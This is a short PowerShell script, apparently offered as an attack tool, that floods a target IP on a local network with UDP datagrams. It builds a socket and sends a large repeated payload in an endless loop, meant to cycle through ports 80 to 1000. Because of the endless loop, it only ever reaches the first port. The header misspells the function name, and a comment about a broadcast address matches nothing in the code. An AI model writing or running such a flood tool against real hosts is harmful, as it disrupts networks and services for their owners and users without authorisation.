<#
	launch-updFlood
		Sends a UDP datagram flood to a target ip on a lan
#>


#####  Start of Script

## Get ip information in order to determine broadcast address


function launch-udpFlood {

	[CmdletBinding()] Param(

	[Parameter(Position=0)]
	[String]$targetIP

	)

	## Check IP variable

	if ($targetIP) {

		# launch udp flood on range of ports
		foreach ( $port in 80..1000 ) { udpEngine $targetIP $port }

	} else { write-output "[!] target IP not specified, required!" }

}

function udpEngine {

	[CmdletBinding()] Param(

	[Parameter(Position=0, Mandatory = $true)]
	[String]$tIP,

	[Parameter(Position=1, Mandatory = $true)]
	[String]$prt

	)

	$address = [system.net.IPAddress]::Parse( $tIP )

	# Create IP Endpoint
	$end = New-Object System.Net.IPEndPoint $address , $prt

	# Create Socket
	$Saddrf    = [System.Net.Sockets.AddressFamily]::InterNetwork
	$Stype    = [System.Net.Sockets.SocketType]::Dgram
	$Ptype     = [System.Net.Sockets.ProtocolType]::UDP
	$Sock      = New-Object System.Net.Sockets.Socket $saddrf , $stype , $ptype
	$Sock.TTL = 26


	while ($true) {


		# Connect to socket
		$sock.Connect( $end )

		# Create encoded buffer insert loop here that get data from the generated file
		$Enc = [System.Text.Encoding]::ASCII
		$Message = "QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm1234567890" * 700
		$Buffer  = $Enc.GetBytes( $Message )

		# Send the buffer
		$Sent   = $Sock.Send( $Buffer )



	}


}